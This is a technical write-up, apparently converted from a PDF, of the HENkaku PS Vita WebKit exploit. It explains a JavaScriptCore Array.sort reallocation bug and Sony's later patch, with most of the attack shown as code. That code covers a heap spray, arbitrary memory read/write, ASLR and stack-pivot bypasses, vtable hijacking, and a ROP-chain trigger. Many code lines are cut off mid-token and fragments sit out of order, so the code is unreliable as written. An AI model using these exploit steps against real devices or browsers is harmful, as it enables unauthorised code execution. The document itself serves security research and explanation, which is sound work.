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Intro
This starts the series of writeups for HENkaku exploit chain. I’ll try not to spoil the KOTH challenge too
much and only write up the parts that are already reverse engineered, clarifying the details that other
people missed. However, in the case the challenge becomes stale and no progress is made, I’ll probably
publish the writeup anyway, since I already have it written and it’d be a waste to let it rot in my repo.

The PoC
Our target of choice for user-mode code execution is WebKit. WebKit has a JavaScript engine which
helps a lot when we need to bypass ASLR. Web browser on PS Vita also does not require PSN login,
does not auto update, allows to implement a very simple exploit chain (visit this site and press that
button). It’s perfect.

Unlike on 3DS, which has no ASLR whatsoever, Vita WebKit has an acceptable ASLR with entropy of 9
bits, which makes brute force attacks extremely painful (512 reloads on average to trigger the exploit, the
horror!). As such, we needed a better vulnerability than a generic use-after-free + vptr overwrite.

Thanks to some people, I managed to obtain a nice PoC script crashing Vita’s browser on latest
firmware. Not present anywhere on WebKit bugzilla/repo (maybe in the restricted section).

So what I started with was this script:

var almost_oversize = 0x3000; 
var foo = Array.prototype.constructor.apply(null, new Array(almost_oversize)); 
var o = {}; 
o.toString = function () { foo.push(12345); return ""; } 
foo[0] = 1; 
foo[1] = 0; 
foo[2] = o; 
foo.sort(); 

If you run it on a Linux host using Sony’s WebKit, you will see a segmentation fault. Let’s look at it in a
debugger:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault. 
0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef804
152         m_value = JSValue::encode(value); 
(gdb) bt 
#0  0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98e
#1  0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithV
#2  0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC
    at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171 

https://henkaku.xyz/
https://yifan.lu/2016/08/05/henkaku-koth-challenge


Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what’s going on
here?

The bug
Let’s take a look at the JSArray::sort  method ( Source/JavaScriptCore/runtime/JSArray.cpp ).
Since our array is of type ArrayWithContiguous  due to how it was created:
Array.prototype.constructor.apply(null, new Array(almost_oversize)); , we get into the
sortCompactedVector  function. Here’s its full implementation:

#3  0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e
#4  0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7ff
    at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623 
#5  0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../So

<the rest does not matter> 
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template<IndexingType indexingType, typename StorageType> 
void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> 
{ 
    if (!relevantLength) 
        return; 
     
    VM& vm = exec->vm(); 

    // Converting JavaScript values to strings can be expensive, so we do it on
    // This is a considerable improvement over doing it twice per comparison, t
    // buffer. Besides, this protects us from crashing if some objects have cus
    // random or otherwise changing results, effectively making compare functio
         
    Vector<ValueStringPair, 0, UnsafeVectorOverflow> values(relevantLength); 
    if (!values.begin()) { 
        throwOutOfMemoryError(exec); 
        return; 
    } 
         
    Heap::heap(this)->pushTempSortVector(&values); 
         
    bool isSortingPrimitiveValues = true; 

    for (size_t i = 0; i < relevantLength; i++) { 
        JSValue value = ContiguousTypeAccessor<indexingType>::getAsValue(data, 
        ASSERT(indexingType != ArrayWithInt32 || value.isInt32()); 
        ASSERT(!value.isUndefined()); 
        values[i].first = value; 
        if (indexingType != ArrayWithDouble && indexingType != ArrayWithInt32) 
            isSortingPrimitiveValues = isSortingPrimitiveValues && value.isPrim
    } 
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    // FIXME: The following loop continues to call toString on subsequent value
    // a toString call raises an exception. 
         
    for (size_t i = 0; i < relevantLength; i++) 
        values[i].second = values[i].first.toWTFStringInline(exec); 
         
    if (exec->hadException()) { 
        Heap::heap(this)->popTempSortVector(&values); 
        return; 
    } 
         
    // FIXME: Since we sort by string value, a fast algorithm might be to use a
    // than O(N log N). 
         
#if HAVE(MERGESORT) 
    if (isSortingPrimitiveValues) 
        qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareBy
    else 
        mergesort(values.begin(), values.size(), sizeof(ValueStringPair), compa
#else 
    // FIXME: The qsort library function is likely to not be a stable sort. 
    // ECMAScript-262 does not specify a stable sort, but in practice, browsers
    qsort(values.begin(), values.size(), sizeof(ValueStringPair), compareByStri
#endif 
     
    // If the toString function changed the length of the array or vector stora
    // increase the length to handle the orignal number of actual values. 
    switch (indexingType) { 
    case ArrayWithInt32: 
    case ArrayWithDouble: 
    case ArrayWithContiguous: 
        ensureLength(vm, relevantLength); 
        break; 
         
    case ArrayWithArrayStorage: 
        if (arrayStorage()->vectorLength() < relevantLength) { 
            increaseVectorLength(exec->vm(), relevantLength); 
            ContiguousTypeAccessor<indexingType>::replaceDataReference(&data, a
        } 
        if (arrayStorage()->length() < relevantLength) 
            arrayStorage()->setLength(relevantLength); 
        break; 
         
    default: 
        CRASH(); 
    } 

    for (size_t i = 0; i < relevantLength; i++) 



This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and
then puts the values back into the JS array.

On line 37 in a for  loop, for every element its toString  method is called. When it’s called for our
object o , what happens next is:

function () { 
 foo.push(12345); 
 return ""; 
} 

An integer is pushed into the array that is being sorted. This causes the array elements to get reallocated.
On line 81, the sorted elements are written back into the array, however, the data  pointer is never
updated with the new reallocated value.

To illustrate it:
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Grey area here is free/unallocated memory. On Linux it actually is unmapped after realloc is called.
Meanwhile, the data  still points to the old memory location. As a result, the web browser gets a
segmentation fault trying to write to unmapped memory.

Out-of-bounds RW
Depending on the contents, JSArray  objects might be stored differently in memory. However, ones we
are operating on, are stored continuously as metadata header (in yellow) plus array contents (in green).

The contents are just a vector of JSValue  structures.

union EncodedValueDescriptor { 
    int64_t asInt64; 
    double asDouble; 
    struct { 
        int32_t payload; 
        int32_t tag; 
    } asBits; 
}; 
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        ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, v
     
    Heap::heap(this)->popTempSortVector(&values); 
} 



The metadata header stores two interesting fields:

Our goal now is to overwrite both of them and “extend” the array beyond of what is actually allocated.

To achieve that, let’s modify the o.toString  method:

var normal_length = 0x800; 
var fu = new Array(normal_length); 
var arrays = new Array(0x100); 
o.toString = function () { 
 foo.push(12345); 
 for (var i = 0; i < arrays.length; ++i) { 
  var bar = Array.prototype.constructor.apply(null, fu); 
  bar[0] = 0; 
  bar[1] = 1; 
  bar[2] = 2; 
  arrays[i] = bar; 
 } 
 return ""; 
} 

If we get lucky, here’s what happens:
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In this example (that doesn’t reflect actuall array size), when the sorted values are written back using the
data  pointer, metadata headers of both second and third bar  get overwritten.

What do we overwrite them with? Remember, that the green area is the vector of JSValue  objects.
Every JSValue  object is 8 bytes. But if we fill foo  with, for example, 0x80000000 , we only control 4
bytes, and the rest is used up for the tag . What’s a tag ?

enum { Int32Tag =        0xffffffff }; 
enum { BooleanTag =      0xfffffffe }; 
enum { NullTag =         0xfffffffd }; 
enum { UndefinedTag =    0xfffffffc }; 
enum { CellTag =         0xfffffffb }; 
enum { EmptyValueTag =   0xfffffffa }; 
enum { DeletedValueTag = 0xfffffff9 }; 

uint32_t m_publicLength; // The meaning of this field depends on the array type, bu
uint32_t m_vectorLength; // The length of the indexed property storage. The actual 



enum { LowestTag =  DeletedValueTag }; 

It’s how WebKit JavaScriptCore packs different types into a single JSValue  structure: it can be an int, a
boolean, a cell (pointer to an object), null, undefined, or a double. So if we write 54321 , we only control
half of the structure, and the other half is set to Int32Tag  or 0xffffffff .

However, we can also write double  values, like 54321.0 . This way we control all 8 bytes of the
structure, but there are other limitations (Some floating-point normalization crap does not allow for truly
arbitrary values to be written. Otherwise, you would be able to craft a CellTag  and set pointer to an
arbitrary value, that would be horrible. Interestingly, before it did allow that, which is what the very first
Vita WebKit exploit used! CVE-2010-1807).

So let’s write double  values instead.

foo[0] = o; 
var len = u2d(0x80000000, 0x80000000); 
for (var i = 1; i < 0x2000; ++i) 
 foo[i] = len; 
foo.sort(); 

u2d / d2u  are small helpers to convert between a pair of int  and a double :

var _dview = null; 
// u2d/d2u taken from PSA-2013-0903 
// wraps two uint32s into double precision 
function u2d(low,hi) 
{ 
 if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 
 _dview.setUint32(0,hi); 
 _dview.setUint32(4,low); 
 return _dview.getFloat64(0);  
} 

function d2u(d) 
{ 
 if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 
 _dview.setFloat64(0,d); 
 return { low: _dview.getUint32(4),  
          hi:  _dview.getUint32(0) };     
} 

As such, if we now look at arrays  we will find a few JSArray  objects that are extended beyond their
real boundary and have their length set to 0x80000000 .

Interestingly, this successfully corrupts a JSArray object on Vita but crashes on Linux hitting a guard
page. But this doesn’t matter because we’re exploiting Vita, not Linux.

Now when we write to one of corrupted bar  objects, we can achieve an out-of-bounds read/write
which is awesome! But let’s upgrade it to a truly arbitrary RW.

https://www.lolhax.org/2014/10/28/psvita-webkit-for-2-00/


An astute reader might notice now that since Vita is a 32-bit console and we set length to 0x80000000
and every JSValue  is 8 bytes, we already in fact have arbitrary RW. However, we are still writing to
offsets from the original bar  vector base, and haven’t leaked any heap addresses yet. In addition, we
can only write double  values, which is super inconvenient.

Arbitrary RW
To obtain arbitrary read/write, I used the same trick as used by the 2.00-3.20 WebKit exploit, described
here.

Spray buffers:

buffers = new Array(spray_size); 
buffer_len = 0x1344; 
for (var i = 0; i < buffers.length; ++i) 
 buffers[i] = new Uint32Array(buffer_len / 4); 

Find Uint32Array  buffer in memory. Start searching at some arbitrary offset before the corrupted
buffer’s (called arr  here) elements.

Find corrupted Uint32Array :

corrupted = null; 
for (var i = 0; i < buffers.length; ++i) { 
 if (buffers[i].byteLength != buffer_len) { 
  corrupted = buffers[i]; 
  break; 
 } 
} 
var u32 = corrupted; 

var start = 0x20000000-0x11000; 
for(;; start--) { 
 if (arr[start] != 0) { 
  _dview.setFloat64(0, arr[start]); 
  if (_dview.getUint32(0) == buffer_len / 4) { // Found Uint32Array 
   _dview.setUint32(0, 0xEFFFFFE0); 
   arr[start] = _dview.getFloat64(0); // change buffer size 

   _dview.setFloat64(0, arr[start-2]); 
   heap_addr = _dview.getUint32(4); // leak some heap address 
   _dview.setUint32(4, 0) 
   _dview.setUint32(0, 0x80000000); 
   arr[start-2] = _dview.getFloat64(0); // change buffer offse
   break; 
  } 
 } 
} 

http://acez.re/ps-vita-level-1-webkitties-3/


Now that we have truly arbitrary RW, and we have leaked some heap address, what’s next is:

Code execution
Again, the old trick with textarea  objects is used here (why invent new things?) First, modify the
original Uint32Array  heap spray to interleave textarea  objects:

spray_size = 0x4000; 

textareas = new Array(spray_size); 
buffers = new Array(spray_size); 
buffer_len = 0x1344; 
textarea_cookie = 0x66656463; 
textarea_cookie2 = 0x55555555; 
for (var i = 0; i < buffers.length; ++i) { 
 buffers[i] = new Uint32Array(buffer_len / 4); 
 var e = document.createElement("textarea"); 
 e.rows = textarea_cookie; 
 textareas[i] = e; 
} 

Using corrupted Uint32Array  object, find a textarea  in memory:

var some_space = heap_addr; 
search_start = heap_addr; 

for (var addr = search_start/4; addr < search_start/4 + 0x4000; ++addr) { 
 if (u32[addr] == textarea_cookie) { 
  u32[addr] = textarea_cookie2; 
  textarea_addr = addr * 4; 
  break; 
 } 
} 

/* 
 Change the rows of the Element object then scan the array of 
 sprayed objects to find an object whose rows have been changed 
*/ 
var found_corrupted = false; 
var corrupted_textarea; 
for (var i = 0; i < textareas.length; ++i) { 
 if (textareas[i].rows == textarea_cookie2) { 
  corrupted_textarea = textareas[i]; 
  break; 
 } 
} 

Now we have two “views” into the same textarea : we can modify it directly in memory using our u32
object, and we can call its functions from JavaScript. So the idea is to overwrite the vptr using via our



“memory access” and then call the modified function table via JavaScript.

Mitigation 1: ASLR
Remember that Vita has ASLR, which is why we had to complicate the exploit so much. But with arbitrary
RW we can just leak textarea  vptr and defeat ASLR completely:

Let’s talk a bit about code execution. On Vita there’s no JIT and it’s impossible to allocate RWX memory
(Only allowed from the PlayStation Mobile app). So we have to write the whole payload in ROP.

The old exploits used something called JSoS  which is described here. However, here the browser
becomes really unstable after corrupting the JSArray  object, so we want to run as little JavaScript as
possible.

As a result, a new version of roptool was written by Davee which supported ASLR. The basic idea here is
that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them.
After relocating the payload, which is just adding different bases
( SceWebKit_base / SceLibc_base /etc) to these words, we can launch the resulting ROP chain
normally.

Mitigation 2: Stack-pivot protection
Since unknown firmware version, there is now an additional mitigation implemented: sometimes the
kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole
application gets killed.

To bypass this, we need to plant our ROP chain into the thread stack. And to do that, we need to know
thread stack virtual address. And we don’t know it because ASLR.

However, we have arbitrary RW. There’s a ton of ways to leak the stack pointer. I used the setjmp
function.

function read_mov_r12(addr) { 
 first = u32[addr/4]; 
 second = u32[addr/4 + 1]; 
 return ((((first & 0xFFF) | ((first & 0xF0000) >> 4)) & 0xFFFF) | ((((secon
} 

var vtidx = textarea_addr - 0x70; 
var textareavptr = u32[vtidx / 4]; 

SceWebKit_base = textareavptr - 0xabb65c; 
SceLibc_base = read_mov_r12(SceWebKit_base + 0x85F504) - 0xfa49; 
SceLibKernel_base = read_mov_r12(SceWebKit_base + 0x85F464) - 0x9031; 
ScePsp2Compat_base = read_mov_r12(SceWebKit_base + 0x85D2E4) - 0x22d65; 
SceWebFiltering_base = read_mov_r12(ScePsp2Compat_base + 0x2c688c) - 0x9e5; 
SceLibHttp_base = read_mov_r12(SceWebFiltering_base + 0x3bc4) - 0xdc2d; 
SceNet_base = read_mov_r12(SceWebKit_base + 0x85F414) - 0x23ED; 
SceNetCtl_base = read_mov_r12(SceLibHttp_base + 0x18BF4) - 0xD59; 
SceAppMgr_base = read_mov_r12(SceNetCtl_base + 0x9AB8) - 0x49CD; 

http://acez.re/ps-vita-level-1-webkitties-3/
https://bitbucket.org/DaveeFTW/roptool
https://twitter.com/DaveeFTW
http://man7.org/linux/man-pages/man3/longjmp.3.html


Here’s how we call it:

// copy vtable 
for (var i = 0; i < 0x40; i++) 
 u32[some_space / 4 + i] = u32[textareavptr / 4 + i]; 

u32[vtidx / 4] = some_space; 

// backup our obj 
for (var i = 0; i < 0x30; ++i) 
 backup[i] = u32[vtidx/4 + i]; 

// call setjmp and leak stack base 
u32[some_space / 4 + 0x4e] = SceLibc_base + 0x14070|1; // setjmp 
corrupted_textarea.scrollLeft = 0; // call setjmp 

Now our corrupted_textarea  is overwritten in memory with jmp_buf , which somewhere contains
the stack pointer. Later, we restore the original contents as follows. This is done so that JavaScript does
not crash the browser when we attempt to do anything with the corrupted textarea  object:

// restore our obj 
for (var i = 0; i < 0x30; ++i) 
 u32[vtidx/4 + i] = backup[i]; 

Unfortunately, if we look at the setjmp  implementation in SceLibc , we get hit with yet another exploit
mitigation:

So basically:

stored_LR = LR ^ cookie 
stored_SP = SP ^ cookie 

ROM:81114070 setjmp 
ROM:81114070                 PUSH            {R0,LR} 
ROM:81114072                 BL              sub_81103DF2 // Returns high-quality r
ROM:81114076                 POP             {R1,R2} 
ROM:81114078                 MOV             LR, R2 
ROM:8111407A                 MOV             R3, SP 
ROM:8111407C                 STMIA.W         R1!, {R4-R11} 
ROM:81114080                 EORS            R2, R0 // LR is XOR'ed with a cookie 
ROM:81114082                 EORS            R0, R3 // SP is XOR'ed with the same c
ROM:81114084                 STMIA           R1!, {R0,R2} 
ROM:81114086                 VSTMIA          R1!, {D8-D15} 
ROM:8111408A                 VMRS            R2, FPSCR 
ROM:8111408E                 STMIA           R1!, {R2} 
ROM:81114090                 MOV.W           R0, #0 
ROM:81114094                 BX              LR 



Can you see where this is going? We already know SceWebKit_base , so we know the true value of
LR . Using the magic of discrete algebra:

cookie = stored_LR ^ LR 
SP = stored_SP ^ cookie 
SP = stored_SP ^ (stored_LR ^ LR) 

Or, in JavaScript:

Now we can write our ROP payload into the thread stack and pivot to it without the application being
killed!

Finally, Code Execution
First, we relocate the ROP payload. Remember, how we have the payload and relocs. If you look at
payload.js, this is what you will see:

payload = [2119192402,65537,0,0,1912    // and it goes on... 
relocs = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,  // ... 

Every number from the relocs  array indicated how a payload  member should be relocated. For
example, 0 means no relocation, 1 is add rop_data_base , 2 is add SceWebKit_base , 3 is add
SceLibKernel_base  and so on.

(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is
stuff like strings or buffers. rop_data_base  is vaddr of data. rop_code_base  is vaddr of code)

The next loop relocates the payload straight into the thread stack:

sp = (u32[vtidx/4 + 8] ^ ((u32[vtidx/4 + 9] ^ (SceWebKit_base + 0x317929)) >>> 0)) 
sp -= 0xef818; // adjust to get SP base 

// relocate the payload 
rop_data_base = sp + 0x40; 
rop_code_base = sp + 0x10000; 

addr = sp / 4; 
// Since relocs are applied to the whole rop binary, not just code/data sections, w
// this behavior here. However, we split it into data section (placed at the top o
// and code section (placed at stack + some big offset) 
for (var i = 0; i < payload.length; ++i, ++addr) { 
 if (i == rop_header_and_data_size) 
  addr = rop_code_base / 4; 

 switch (relocs[i]) { 
 case 0: 
  u32[addr] = payload[i]; 
  break 
 case 1: 
  u32[addr] = payload[i] + rop_data_base; 



In this loop, we split the payload into two parts: code and data sections. We don’t want code to touch
data because if they are close, and code is after data (which is the case for roptool-generated ROP
chains), when a function is called, it might damage a part of the data section (remember which direction
the stack grows in, and which direction the ROP chain goes).

So once we are done relocating the data section: if (i == rop_header_and_data_size) , we
switch to relocating the code section: addr = rop_code_base / 4 .

header

data

code

header

data

code

On the left is how the ROP chain looks like while it’s stored in the payload  array. On the right is how the
ROP chain is written into the stack.

Finally, let’s trigger the ROP chain:

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc} 
u32[some_space / 4 + 0x4e] = SceWebKit_base + 0x54c8; 

var ldm_data = some_space + 0x100; 
u32[ldm_data/4 + 5] = rop_code_base;              // sp 
u32[ldm_data/4 + 6] = SceWebKit_base + 0xc048a|1; // pc = pop {pc} 

// This alert() is used to distinguish between the webkit exploit fail 
// and second stage exploit fail 
// - If you don't see it, the webkit exploit failed 
// - If you see it and then the browser crashes, the second stage failed 
alert("Welcome to HENkaku!"); 

  break; 
 /* 
  skipped most relocs 
 */ 
 default: 
  alert("wtf?"); 
  alert(i + " " + relocs[i]); 
 } 
} 



corrupted_textarea.scrollLeft = ldm_data;         // trigger ropchain, r1=arg 

// You won't see this alert() unless something went terribly wrong 
alert("that's it"); 

When corrupted_textarea.scrollLeft = ldm_data  is done, our LDM gadget will get called, due
to overwritten vtable. R1  will be ldm_data , so it will load SP = rop_code_base  and PC = pop
{pc}  from this buffer and as such will kick start the ROP chain.

Bonus: How Sony patched it
Sony regularly uploads new source code of their WebKit, as requested by LGPL, to this page. (Unless
they do not, in which case they might require a friendly poke over email).

Diffing the source code between 3.60 and 3.61 reveals the following (Useless stuff omitted):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_
1087,1096c1087,1123 
-     } 
- }; 
-  
-  
- template<IndexingType indexingType, typename StorageType> 
- void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> d
- { 
-     if (!relevantLength) 
-         return; 
-      
--- 
+     } 
+ }; 
+  
+ template <> 
+ ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >() 
+ { 
+     return m_butterfly->contiguousInt32(); 
+ } 
+  
+ template <> 
+ ContiguousDoubles JSArray::storage<ArrayWithDouble, double>() 
+ { 
+     return m_butterfly->contiguousDouble(); 
+ } 
+  
+ template <> 
+ ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >
+ { 
+     return m_butterfly->contiguous(); 
+ } 

http://doc.dl.playstation.net/doc/psvita-oss/webkit.html


They now update the data  pointer before writing values into it. So even after the array gets reallocated,
it’s still writing to proper memory. This is what causes the alert("restart the browser")  error if
you attempt to run HENkaku on 3.61. Good job, Sony.

Conclusion
That’s it for today! I hope you enjoyed this writeup as much as I hated writing the exploit. Later, in a few
months/years/centuries, I’ll bring you some more nice writeups, so look forward to it. Since I wrote most
of the HENkaku exploit chain, I’m banned from participating in the KOTH challenge :(, but at least you get
to enjoy the writeups :).

Subscribe via RSS | GitHub | Twitter

+  
+ template <> 
+ ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> 
+ { 
+     ArrayStorage* storage = m_butterfly->arrayStorage(); 
+     ASSERT(!storage->m_sparseMap); 
+     return storage->vector(); 
+ } 
+  
+ template<IndexingType indexingType, typename StorageType> 
+ void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> d
+ { 
+     data = storage<indexingType, StorageType>(); 
+  
+     if (!relevantLength) 
+         return; 
+      
1167,1172c1194,1200 
-         CRASH(); 
-     } 
-  
-     for (size_t i = 0; i < relevantLength; i++) 
-         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, va
-      
--- 
+         CRASH(); 
+     } 
+  
+     data = storage<indexingType, StorageType>(); 
+     for (size_t i = 0; i < relevantLength; i++) 
+         ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, va
+    
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